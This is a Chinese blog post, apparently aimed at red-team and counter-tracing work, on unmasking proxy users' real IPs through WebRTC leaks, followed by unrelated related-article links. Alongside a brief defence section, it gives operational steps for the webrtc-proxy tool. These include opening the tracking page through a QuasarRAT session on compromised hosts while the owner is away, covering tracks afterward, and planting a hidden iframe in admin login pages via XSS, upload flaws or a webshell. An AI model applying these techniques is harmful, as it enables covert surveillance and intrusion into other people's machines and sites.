WebRTC溯源的几个实战利用场景

简介: WebRTC溯源的几个实战利用场景

0x00 前言

最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。


目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。


0x01 泄露原因

浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC。

0x02 在线检测

WebRTC可怕之处在于,即使我们使用VP嗯、或者通过小飞机、v2rayN等进行全局代理后仍会泄露我们的真实IP,可以用以下几个网址来检测,如下图所示。

    https://ip8.com/webrtc-test
    https://www.hackjie.com/tracking
    https://browserleaks.com/webrtc
    https://surfshark.com/zh/webrtc-leak-test


    注:群里几个小伙伴用他们的VP嗯也测试了下,但发现并没有显示真实IP,有时只会显示一个内网IP;由于我没有VP嗯就不测试了,大家有的可以自己去测试下。


    0x03 项目介绍

    简单介绍下@iiiusky师傅的webrtc-proxy项目,它是通过 "反向代理 + webrtc" 的方式在对方神不知鬼不觉的情况下获取对方的真实IP,具体参数说明可见下图。


    项目地址:https://github.com/iiiusky/webrtc-proxy


    0x04 实战场景

    搞攻防演练和做HC的基本都会挂代理来隐藏自己的真实IP,那么我们又该如何获取他们的真实IP呢?仅提供几种场景下的利用思路,实战还得根据所遇到的场景测试。

    1. 钓鱼场景利用

    假设我们在攻防演练中通过反制手段拿到红队主机权限,或者通过钓鱼方式拿到某BC客服、技术、代理的主机权限,这时就可以利用webrtc-proxy获取对方的真实IP。


    执行以下命令可反代指定网站并生成一个webrtc地址以隐藏形式插入到body标签中,不过我们最好还是反代他们自己网站或者常用网站,要不容易被管理发现异常。

      ./WebRtc -d 1.***.**.84 -t https://www.baidu.com -p 80 --disable-random-log

      因为要通过他们主机的浏览器去访问我们的反代地址,有啥浏览器就用啥吧,但最好还是先观察下对方是否在电脑前,趁其不在时再去操作。


      反正也就“3秒”的事,等完事了再“擦擦”...。


      这里我用的QuasarRAT开源远控进行测试,通过“Sent to Website”功能使用他们主机的默认浏览器访问反代地址或webrtc地址,但需要将“隐藏访问”选项取消勾选。

      执行以上操作后对方主机就会使用默认浏览器访问我们给定的这个网址,这时可以看到已经成功获取到他代理背后的真实IP了,如下图所示。

      反向代理开启后会在当前目录下生成两个日志文件,access为访问日志,另一个为webrtc日志,找到的真实IP就会写入在这个文件中,如下图所示。


      注意事项:

      1. 我们也尝试了一些浏览器的静默访问方法,但都只能获取到代理IP,无法获取到真实IP,好像是因为没能加载反代中的webrtc吧,没找到更好的静默访问方法,暂时只能这样了。补充:最近了解到一个叫HVNC的东东,理论上应该是可行的,但我并没有去测试;国外大多数RAT都有这功能,如:Venom RAT,大家可以自己去测试下。HVNC!隐藏桌面CobaltStrike插件

      2. 为什么不直接RDP进去使用在线检测网址获取真实IP呢?因为这样动静太大,更容易被管理发现,因为登录RDP产生的日志更多,可能会触发防护的登录提醒而导致权限丢失。


      2. 漏洞场景利用

      当挖到xss、csrf、上传等漏洞时就可以通过构造payload插入我们的webrtc地址来获取对方的真实IP,只要他通过浏览器访问了我们的webrtc时即可获取到真实IP。

        title="Damn Vulnerable Web Application (DVWA)-v1.9"


        或者通过某些漏洞拿到webshell权限后可以在管理、代理后台登录页的源代码中插入我们的webrtc,直接用以下代码即可,等待他们访问后台时即可获取到真实IP。

          <iframe style="display:none;" src="webrtc"></iframe>

          0x05 防范措施

          谷歌、火狐浏览器可通过安装WebRTC Leak Shield插件禁用webrtc;也可以通过以下方式禁用webrtc。

            about:config,将media.peerconnection.enabled值改为false;


            0x06 文末总结

            简单介绍了几个常见场景下通过webrtc获取真实IP的利用思路,可根据挖到的漏洞和已拿到的权限分为主动和被动,主动就是高权限时通过他们的浏览器主动去访问,被动就是xss、csrf、上传漏洞及Webshell等,需要等待管理员自己去访问。这里我们只是在本地模拟实战场景进行了简单的测试,大家在实战应用时还可以申请一个与目标站类似域名做个解析,再搭配一个CDN简单隐藏下VPS的IP......。

            相关实践学习
            【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
            【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
            相关文章
            |
            Shell Linux C语言
            【Shell 命令集合 系统设置 】⭐⭐⭐Linux 清除终端屏幕内容 clear命令 使用指南
            【Shell 命令集合 系统设置 】⭐⭐⭐Linux 清除终端屏幕内容 clear命令 使用指南
            1076 0
            |
            9月前
            |
            数据挖掘 数据库 索引
            RAG检索模型选型:Bi-Encoder、Cross-Encoder、SPLADE与ColBERT的技术对比
            本文解析RAG系统中Bi-Encoder、Cross-Encoder、SPLADE与ColBERT的核心机制,探讨如何平衡高召回与高精准。通过多阶段架构组合稀疏与稠密检索,实现高效准确的语义搜索。
            638 3
            RAG检索模型选型:Bi-Encoder、Cross-Encoder、SPLADE与ColBERT的技术对比
            |
            10月前
            |
            前端开发 搜索推荐 测试技术
            背景图变换
            本文介绍如何基于若依(RuoYi)框架定制化项目:更换浏览器标签logo、系统页面logo与标题、登录页名称及背景图,去除官网标识,并调整主题风格。通过替换静态资源、修改配置文件及全局搜索删除冗余链接,实现项目个性化展示,提升品牌辨识度,适用于前端界面定制开发场景。(238字)
            |
            关系型数据库 MySQL 数据库
            【MySQL基础篇】MySQL概述、Windows下载MySQL8.0超详细图文安装教程
            在这一章节,主要介绍两个部分,数据库相关概念及MySQL数据库的介绍、下载、安装、启动及连接。接着,详细描述了MySQL 8.0的版本选择与下载,推荐使用社区版(免费)。安装过程包括自定义安装路径、配置环境变量、启动和停止服务、以及客户端连接测试。此外,还提供了在同一台电脑上安装多个MySQL版本的方法及卸载步骤。最后,解释了关系型数据库(RDBMS)的特点,即基于二维表存储数据,使用SQL语言进行操作,格式统一且便于维护。通过具体的结构图展示了MySQL的数据模型,说明了数据库服务器、数据库、表和记录之间的层次关系。
            2880 56
            【MySQL基础篇】MySQL概述、Windows下载MySQL8.0超详细图文安装教程
            |
            存储 运维 安全
            探秘阿里云云专线:企业上云网络连接的最优解
            阿里云云专线(CCN)是专用网络连接服务,通过物理专线将企业本地网络与云端资源无缝连接。它具备高速稳定、安全可靠、灵活扩展和便捷管理等优势,适用于混合云架构、分支机构互联及数据灾备迁移等场景。用户可登录阿里云官网选择合适套餐并快速开通服务,关注公众号还能获取更多资讯。
            1408 9
            |
            安全 Linux 网络安全
            使用D盾扫描Linux主机Webshell
            使用D盾扫描Linux主机Webshell
            1226 0
            使用D盾扫描Linux主机Webshell
            |
            存储 缓存 资源调度
            阿里云服务器经济型、通用算力型、计算型、通用型、内存型实例区别与选择指南
            在我们通过阿里云的活动选购云服务器的时候会发现,相同配置的云服务器往往有多个不同的实例可选,而且价格差别也比较大,这会是因为不同实例规格的由于采用的处理器不同,底层架构也有所不同(例如X86 计算架构与Arm 计算架构),因此不同实例的云服务器其性能与适用场景是有所不同。本文将详细解析阿里云的经济型、通用算力型、计算型、通用型和内存型实例的性能特点及适用场景,帮助用户根据自己的业务需求做出明智的选择。
            |
            数据建模 应用服务中间件 nginx
            docker替换宿主与容器的映射端口和文件路径
            通过正确配置 Docker 的端口和文件路径映射,可以有效地管理容器化应用程序,确保其高效运行和数据持久性。在生产环境中,动态替换映射配置有助于灵活应对各种需求变化。以上方法和步骤提供了一种可靠且易于操作的方案,帮助您轻松管理 Docker 容器的端口和路径映射。
            1774 3
            |
            SQL 分布式计算 运维
            面向未来的开源 OLAP 技术架构探讨以及选型实践
            本文详细介绍了开源大数据OLAP的演化过程和最佳实践。
            10944 57
            |
            XML 存储 安全
            C#开发的程序如何良好的防止反编译被破解?ConfuserEx .NET混淆工具使用介绍
            C#开发的程序如何良好的防止反编译被破解?ConfuserEx .NET混淆工具使用介绍
            2614 0

            热门文章

            最新文章